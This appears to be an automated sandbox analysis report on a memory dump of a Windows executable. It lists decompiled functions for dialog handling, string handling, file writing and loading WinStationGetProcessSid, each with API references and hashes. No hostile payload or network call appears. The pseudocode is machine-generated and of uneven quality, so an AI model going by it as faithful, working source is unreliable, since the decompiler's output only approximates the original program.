Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: State$CallMessageProcSendWindow
String ID: A
API String ID: 3924021322-3554254475
Opcode ID: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction ID: 3f4bab65c8f2f559ff61c6136e8e970ba349fdfc906a465d58382778652fa82c
Opcode Fuzzy Hash: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction Fuzzy Hash: AC01483130430AAEFF11DFE59D02ADA3A5CAF15327F114036FA96B81D1DBB887506E59

Uniqueness

Uniqueness Score: -1.00%

Function 004034F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004034F0(void* __ecx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v20;
				char _v1072;
				void _v3672;
				char _v4496;
				intOrPtr _v4556;
				char _v4560;
				void* __edi;
				void* __esi;
				intOrPtr* _t41;
				void* _t45;

				_t45 = __eflags;
				E0040B550(0x11cc, __ecx);
				E00402923( &_v4560);
				_v4560 = 0x40db44;
				E00406670( &_v4496, _t45);
				_v4496 = 0x40dab0;
				memset( &_v3672, 0, 0x10);
				E0040A909( &_v1072);
				_t41 = _a4;
				_v4556 = 0x71;
				if(E00402CD5( &_v4560,  *((intOrPtr*)(_t41 + 0x10))) != 0) {
					L0040B266();
					 *((intOrPtr*)( *_t41 + 4))(1, _v20, _t41 + 0x5b2c, 0xa);
				}
				_v4496 = 0x40dab0;
				_v4560 = 0x40db44;
				E004067AC( &_v4496);
				return E00402940( &_v4560);
			}

0x004034f0
0x004034f8
0x00403506
0x00403516
0x0040351c
0x00403531
0x00403537
0x00403545
0x0040354a
0x00403556
0x00403567
0x00403575
0x00403583
0x00403583
0x00403586
0x00403592
0x00403598
0x004035ac

APIs

Part of subcall function 00402923: memset.MSVCRT ref: 00402935

Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066B9
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066E0
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406701
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406722

memset.MSVCRT ref: 00403537
_ultow.MSVCRT ref: 00403575

Strings

cf@, xrefs: 0040352B
q, xrefs: 00403556

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset$_ultow
String ID: cf@$q
API String ID: 3448780718-2693627795
Opcode ID: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction ID: aa1ed1bb2df2d11c17fc3d40a8ec787ac421495c908f782690464d4e039b4fd8
Opcode Fuzzy Hash: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction Fuzzy Hash: 73113079A402186ACB24AB55DC41BCDB7B4AF45304F0084BAEB09771C1D7796E888FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00407E24, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407E24(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				signed short _v516;
				void _v1026;
				signed short _v1028;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				signed short* _t28;

				_v516 = _v516 & 0x00000000;
				_t26 = __ecx;
				memset( &_v514, 0, 0x1fc);
				_v1028 = _v1028 & 0x00000000;
				memset( &_v1026, 0, 0x1fc);
				_t17 =  *((intOrPtr*)( *_t26 + 0x24))();
				_t28 =  &_v516;
				E00407250(_t28, _t17);
				_push(_t28);
				_push(L"</%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t26, _a4,  &_v1028);
			}

0x00407e2d
0x00407e46
0x00407e48
0x00407e4d
0x00407e5f
0x00407e6b
0x00407e6f
0x00407e75
0x00407e7c
0x00407e7d
0x00407e88
0x00407e8d
0x00407e8e
0x00407eaa

APIs

memset.MSVCRT ref: 00407E48
memset.MSVCRT ref: 00407E5F

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407E8E

Strings

</%s>, xrefs: 00407E7D

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf_wcslwrwcscpy
String ID: </%s>
API String ID: 3400436232-259020660
Opcode ID: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction ID: 202c728a503fdded71e402cbdefdfedacf6d04e10f6749ebe2a15fa747ba2321
Opcode Fuzzy Hash: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction Fuzzy Hash: 820186B2D4012966D720A795CC46FEE766CEF44318F0004FABB08F71C2DB78AB458AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405E0A(intOrPtr __ecx, void* __eflags, struct HWND__* _a4) {
				void _v8198;
				short _v8200;
				void* _t9;
				void* _t12;
				intOrPtr _t19;
				intOrPtr _t20;

				_t19 = __ecx;
				_t9 = E0040B550(0x2004, __ecx);
				_t20 = _t19;
				if(_t20 == 0) {
					_t20 =  *0x40fe24; // 0x0
				}
				_t25 =  *0x40fb90;
				if( *0x40fb90 != 0) {
					_v8200 = _v8200 & 0x00000000;
					memset( &_v8198, 0, 0x2000);
					_push(_t20);
					_t12 = 5;
					E00405E8D(_t12);
					if(E00405F39(_t19, _t25, L"caption",  &_v8200) != 0) {
						SetWindowTextW(_a4,  &_v8200);
					}
					return EnumChildWindows(_a4, E00405DAC, 0);
				}
				return _t9;
			}

0x00405e0a
0x00405e12
0x00405e18
0x00405e1c
0x00405e1e
0x00405e1e
0x00405e24
0x00405e2c
0x00405e2e
0x00405e44
0x00405e49
0x00405e4c
0x00405e4d
0x00405e68
0x00405e74
0x00405e74
0x00000000
0x00405e84
0x00405e8c

APIs

memset.MSVCRT ref: 00405E44
SetWindowTextW.USER32(?,?), ref: 00405E74
EnumChildWindows.USER32 ref: 00405E84

Strings

caption, xrefs: 00405E59

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ChildEnumTextWindowWindowsmemset
String ID: caption
API String ID: 1523050162-4135340389
Opcode ID: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction ID: ff9fcce37bd20e8a069aa1bb12297d26d3abb42d57bfe77991e9b0a8e19eae59
Opcode Fuzzy Hash: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction Fuzzy Hash: 2DF04432940718AAEB20AB54DD4EB9B3668DB04754F0041B7BA04B61D2D7B8AE40CEDC

Uniqueness

Uniqueness Score: -1.00%

Function 00409A46, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409A46(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				struct HINSTANCE__* _t11;
				struct HINSTANCE__** _t14;
				struct HINSTANCE__* _t15;

				_t14 = __eax;
				if( *((intOrPtr*)(__eax)) == 0) {
					_t11 = E00405436(L"winsta.dll");
					 *_t14 = _t11;
					if(_t11 != 0) {
						_t14[1] = GetProcAddress(_t11, "WinStationGetProcessSid");
					}
				}
				_t15 = _t14[1];
				if(_t15 == 0) {
					return 0;
				} else {
					return _t15->i(0, _a4, _a16, _a20, _a8, _a12);
				}
			}

0x00409a4a
0x00409a4f
0x00409a56
0x00409a5e
0x00409a60
0x00409a6e
0x00409a6e
0x00409a60
0x00409a71
0x00409a76
0x00000000
0x00409a78
0x00000000
0x00409a89

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,WinStationGetProcessSid), ref: 00409A68

Strings

WinStationGetProcessSid, xrefs: 00409A62
winsta.dll, xrefs: 00409A51
Y@, xrefs: 00409A46

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: WinStationGetProcessSid$winsta.dll$Y@
API String ID: 946536540-379566740
Opcode ID: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction ID: f8fd4ca1437852706c932511ef9fc121d1f4ef25cad53c4396aefa54a2cc69ea
Opcode Fuzzy Hash: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction Fuzzy Hash: 4AF08236644219AFCF219FE09C01B977BD5AB08710F00443AF945B21D1D67588509F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040588E, Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040588E(void** __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _t21;
				signed int _t23;
				void* _t24;
				signed int _t31;
				void* _t33;
				void* _t44;
				signed int _t46;
				void* _t48;
				signed int _t51;
				int _t52;
				void** _t53;
				void* _t58;

				_t53 = __esi;
				_t1 =  &(_t53[1]); // 0x0
				_t51 =  *_t1;
				_t21 = 0;
				if(_t51 <= 0) {
					L4:
					_t2 =  &(_t53[2]); // 0x8
					_t33 =  *_t53;
					_t23 =  *_t2 + _t51;
					_t46 = 8;
					_t53[1] = _t23;
					_t24 = _t23 * _t46;
					_push( ~(0 | _t58 > 0x00000000) | _t24);
					L0040B26C();
					_t10 =  &(_t53[1]); // 0x0
					 *_t53 = _t24;
					memset(_t24, 0,  *_t10 << 3);
					_t52 = _t51 << 3;
					memcpy( *_t53, _t33, _t52);
					if(_t33 != 0) {
						_push(_t33);
						L0040B272();
					}
					 *((intOrPtr*)( *_t53 + _t52)) = _a4;
					 *((intOrPtr*)(_t52 +  *_t53 + 4)) = _a8;
				} else {
					_t44 =  *__esi;
					_t48 = _t44;
					while( *_t48 != 0) {
						_t21 = _t21 + 1;
						_t48 = _t48 + 8;
						_t58 = _t21 - _t51;
						if(_t58 < 0) {
							continue;
						} else {
							goto L4;
						}
						goto L7;
					}
					_t31 = _t21 << 3;
					 *((intOrPtr*)(_t44 + _t31)) = _a4;
					 *((intOrPtr*)(_t31 +  *_t53 + 4)) = _a8;
				}
				L7:
				return 1;
			}

0x0040588e
0x0040588f
0x0040588f
0x00405892
0x00405896
0x004058a9
0x004058a9
0x004058ad
0x004058af
0x004058b5
0x004058b6
0x004058b9
0x004058c2
0x004058c3
0x004058c8
0x004058d2
0x004058d4
0x004058d9
0x004058e0
0x004058ea
0x004058ec
0x004058ed
0x004058f2
0x004058f9
0x00405902
0x00405898
0x00405898
0x0040589a
0x0040589c
0x004058a1
0x004058a2
0x004058a5
0x004058a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004058a7
0x00405912
0x00405915
0x0040591e
0x0040591e
0x00405907
0x0040590b

APIs

??2@YAPAXI@Z.MSVCRT ref: 004058C3
memset.MSVCRT ref: 004058D4
memcpy.MSVCRT ref: 004058E0
??3@YAXPAX@Z.MSVCRT ref: 004058ED

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction ID: bfbe461037e943c94cde62efea7f8de8011d206b5eb27adb1998baad11e83e26
Opcode Fuzzy Hash: 842e7f25b611a1b365b40b1c94d0ccd91a374462c013338e9ea48621bac1a915
Instruction Fuzzy Hash: 9F116A722046019FD328DF2DC881A2BF7E5EFD8300B248C2EE49A97395DB35E801CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACFC, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040ACFC(wchar_t* __esi, char _a4, intOrPtr _a8) {
				void* _v8;
				wchar_t* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				long _v564;
				char* _t18;
				char* _t22;
				wchar_t* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr _t30;
				void* _t35;
				char* _t36;

				_t18 =  &_v8;
				_t30 = 0;
				__imp__SHGetMalloc(_t18);
				if(_t18 >= 0) {
					_v40 = _a4;
					_v28 = _a8;
					_t22 =  &_v40;
					_v36 = 0;
					_v32 = 0;
					_v24 = 4;
					_v20 = E0040AC81;
					_v16 = __esi;
					__imp__SHBrowseForFolderW(_t22, _t35);
					_t36 = _t22;
					if(_t36 != 0) {
						_t23 =  &_v564;
						__imp__SHGetPathFromIDListW(_t36, _t23);
						if(_t23 != 0) {
							_t30 = 1;
							wcscpy(__esi,  &_v564);
						}
						_t24 = _v8;
						 *((intOrPtr*)( *_t24 + 0x14))(_t24, _t36);
						_t26 = _v8;
						 *((intOrPtr*)( *_t26 + 8))(_t26);
					}
				}
				return _t30;
			}

0x0040ad06
0x0040ad0a
0x0040ad0c
0x0040ad14
0x0040ad19
0x0040ad1f
0x0040ad23
0x0040ad27
0x0040ad2a
0x0040ad2d
0x0040ad34
0x0040ad3b
0x0040ad3e
0x0040ad44
0x0040ad48
0x0040ad4a
0x0040ad52
0x0040ad5a
0x0040ad64
0x0040ad65
0x0040ad6b
0x0040ad6c
0x0040ad73
0x0040ad76
0x0040ad7c
0x0040ad7c
0x0040ad7f
0x0040ad84

APIs

SHGetMalloc.SHELL32(?), ref: 0040AD0C
SHBrowseForFolderW.SHELL32(?), ref: 0040AD3E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040AD52
wcscpy.MSVCRT ref: 0040AD65

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: BrowseFolderFromListMallocPathwcscpy
String ID:
API String ID: 3917621476-0
Opcode ID: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction ID: e4c3f7e47c5e56e8be22c5f757262c1ae757d72ab7f138bc7c026954c7aa5c2b
Opcode Fuzzy Hash: 2a6e8ca006a625361a9e73932945a98b974e7be3bf153fbb13282c81ef302996
Instruction Fuzzy Hash: B011FAB5900208EFDB10EFA9D9889AEB7F8FF48300F10416AE905E7240D738DA05CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00404A44, Relevance: 6.0, APIs: 4, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A44(void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				long _v8;
				long _v12;
				long _t13;
				void* _t14;
				struct HWND__* _t24;

				_t24 = GetDlgItem(_a4, _a8);
				_t13 = SendMessageW(_t24, 0x146, 0, 0);
				_v12 = _t13;
				_v8 = 0;
				if(_t13 <= 0) {
					L3:
					_t14 = 0;
				} else {
					while(SendMessageW(_t24, 0x150, _v8, 0) != _a12) {
						_v8 = _v8 + 1;
						if(_v8 < _v12) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					SendMessageW(_t24, 0x14e, _v8, 0);
					_t14 = 1;
				}
				L4:
				return _t14;
			}

0x00404a62
0x00404a6a
0x00404a6e
0x00404a71
0x00404a74
0x00404a92
0x00404a92
0x00404a76
0x00404a76
0x00404a87
0x00404a90
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a90
0x00404aa3
0x00404aa7
0x00404aa7
0x00404a94
0x00404a98

APIs

GetDlgItem.USER32 ref: 00404A52
SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00404A6A
SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00404A80
SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00404AA3

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Item
String ID:
API String ID: 3888421826-0
Opcode ID: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction ID: a803108f18d13bdb161ef9cfeaea96f484be20865a03d7d0c1e8cd60aac843f5
Opcode Fuzzy Hash: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction Fuzzy Hash: 02F01DB1A4010CFEEB018FD59DC1DAF7BBDEB89755F104479F604E6150D2709E41AB64

Uniqueness

Uniqueness Score: -1.00%

Function 004072D8, Relevance: 6.0, APIs: 4, Instructions: 41
filestringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004072D8(void* __ecx, void* __eflags, void* _a4, short* _a8) {
				long _v8;
				void _v8199;
				char _v8200;

				E0040B550(0x2004, __ecx);
				_v8200 = 0;
				memset( &_v8199, 0, 0x1fff);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff,  &_v8200, 0x1fff, 0, 0);
				return WriteFile(_a4,  &_v8200, strlen( &_v8200),  &_v8, 0);
			}

0x004072e0
0x004072f7
0x004072fd
0x00407316
0x00407342

APIs

memset.MSVCRT ref: 004072FD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00407316
strlen.MSVCRT ref: 00407328
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00407339

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction ID: b20814eff52bbcc052d034fa9df9783175f47b69a9638c3bed99c582471ba408
Opcode Fuzzy Hash: a01a9356340fd52416386d9a0609ab8b35de944153756caad9cad7d66f149dcb
Instruction Fuzzy Hash: E7F0FFB740022CBEEB05A7949DC9DDB776CDB08358F0001B6B715E2192D6749E448BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408DC8, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408DC8(void** __eax, struct HWND__* _a4) {
				int _t7;
				void** _t11;

				_t11 = __eax;
				if( *0x4101b4 == 0) {
					memcpy(0x40f5c8,  *__eax, 0x50);
					memcpy(0x40f2f8,  *(_t11 + 4), 0x2cc);
					 *0x4101b4 = 1;
					_t7 = DialogBoxParamW(GetModuleHandleW(0), 0x6b, _a4, E00408ADB, 0);
					 *0x4101b4 =  *0x4101b4 & 0x00000000;
					 *0x40f2f4 = _t7;
					return 1;
				} else {
					return 1;
				}
			}

0x00408dd0
0x00408dd2
0x00408de2
0x00408df4
0x00408e01
0x00408e1b
0x00408e21
0x00408e28
0x00408e30
0x00408dd4
0x00408dd8
0x00408dd8

APIs

memcpy.MSVCRT ref: 00408DE2
memcpy.MSVCRT ref: 00408DF4
GetModuleHandleW.KERNEL32(00000000), ref: 00408E07
DialogBoxParamW.USER32 ref: 00408E1B

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction ID: 2efff09082e6186f10957894d43819ba35d003f4fc085d6afb87634920226402
Opcode Fuzzy Hash: 891701deeecd0a5aff4f8729167f2b3d3e4c53b818b809e7ef3862d897c56b7c
Instruction Fuzzy Hash: FAF08231695310BBD7206BA4BE0AB473AA0D700B16F2484BEF241B54E0C7FA04559BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004050E1, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004050E1(wchar_t* __edi, wchar_t* _a4) {
				int _t10;
				int _t12;
				void* _t23;
				wchar_t* _t24;
				signed int _t25;

				_t24 = __edi;
				_t25 = wcslen(__edi);
				_t10 = wcslen(_a4);
				_t23 = _t10 + _t25;
				if(_t23 >= 0x3ff) {
					_t12 = _t10 - _t23 + 0x3ff;
					if(_t12 > 0) {
						wcsncat(__edi + _t25 * 2, _a4, _t12);
					}
				} else {
					wcscat(__edi + _t25 * 2, _a4);
				}
				return _t24;
			}

0x004050e1
0x004050ec
0x004050ee
0x004050f5
0x004050ff
0x00405114
0x00405118
0x00405123
0x00405128
0x00405101
0x00405109
0x0040510f
0x0040512e

APIs

wcslen.MSVCRT ref: 004050E3
wcslen.MSVCRT ref: 004050EE
wcscat.MSVCRT ref: 00405109
wcsncat.MSVCRT ref: 00405123

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcslen$wcscatwcsncat
String ID:
API String ID: 291873006-0
Opcode ID: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction ID: d151cadb35ebc04527c95d650d15a6f00d765f1fde14687ca002c1c28d544fc6
Opcode Fuzzy Hash: dae96c5ac082cb53d340fe27b4bc8b5cd34b90fa375a26752ac010ecfec8ae38
Instruction Fuzzy Hash: 3CE0EC36908703AECB042625AC45C6F375DEF84368B50843FF410E6192EF3DD51556DD

Uniqueness

Uniqueness Score: -1.00%

Function 00402DDD, Relevance: 6.0, APIs: 4, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DDD(struct HWND__* __eax, void* __ecx) {
				void* __edi;
				void* __esi;
				struct HWND__* _t11;
				struct HWND__* _t14;
				struct HWND__* _t15;
				void* _t16;

				_t14 = __eax;
				_t16 = __ecx;
				 *((intOrPtr*)(__ecx + 0x10)) = __eax;
				GetClientRect(__eax, __ecx + 0xa14);
				 *(_t16 + 0xa24) =  *(_t16 + 0xa24) & 0x00000000;
				_t15 = GetWindow(GetWindow(_t14, 5), 0);
				do {
					E00402D99(_t15, _t16);
					_t11 = GetWindow(_t15, 2);
					_t15 = _t11;
				} while (_t15 != 0);
				return _t11;
			}

0x00402de0
0x00402de2
0x00402dec
0x00402def
0x00402dfb
0x00402e0c
0x00402e0e
0x00402e0e
0x00402e16
0x00402e18
0x00402e1a
0x00402e21

APIs

GetClientRect.USER32 ref: 00402DEF
GetWindow.USER32(?,00000005), ref: 00402E07
GetWindow.USER32(00000000), ref: 00402E0A

Part of subcall function 00402D99: GetWindowRect.USER32 ref: 00402DA8
Part of subcall function 00402D99: MapWindowPoints.USER32 ref: 00402DC3

GetWindow.USER32(00000000,00000002), ref: 00402E16

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientPoints
String ID:
API String ID: 4235085887-0
Opcode ID: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction ID: 77c271d885eafffee951e9f606c1c6e1ef1898ae553cc6e200c9330dee891b18
Opcode Fuzzy Hash: 1c8c52d1646566c0c406de3dcd2af47f97e9d21a3de7b74f78bd3c756d76e5a1
Instruction Fuzzy Hash: B8E092722407006BE22197398DC9FABB2EC9FC9761F11053EF504E7280DBB8DC014669

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A6, Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040B6A6() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t3;
				intOrPtr _t4;

				_t1 =  *0x41c458;
				if(_t1 != 0) {
					_push(_t1);
					L0040B272();
				}
				_t2 =  *0x41c460;
				if(_t2 != 0) {
					_push(_t2);
					L0040B272();
				}
				_t3 =  *0x41c45c;
				if(_t3 != 0) {
					_push(_t3);
					L0040B272();
				}
				_t4 =  *0x41c464;
				if(_t4 != 0) {
					_push(_t4);
					L0040B272();
					return _t4;
				}
				return _t4;
			}

0x0040b6a6
0x0040b6ad
0x0040b6af
0x0040b6b0
0x0040b6b5
0x0040b6b6
0x0040b6bd
0x0040b6bf
0x0040b6c0
0x0040b6c5
0x0040b6c6
0x0040b6cd
0x0040b6cf
0x0040b6d0
0x0040b6d5
0x0040b6d6
0x0040b6dd
0x0040b6df
0x0040b6e0
0x00000000
0x0040b6e5
0x0040b6e6

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040B6B0
??3@YAXPAX@Z.MSVCRT ref: 0040B6C0
??3@YAXPAX@Z.MSVCRT ref: 0040B6D0
??3@YAXPAX@Z.MSVCRT ref: 0040B6E0

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
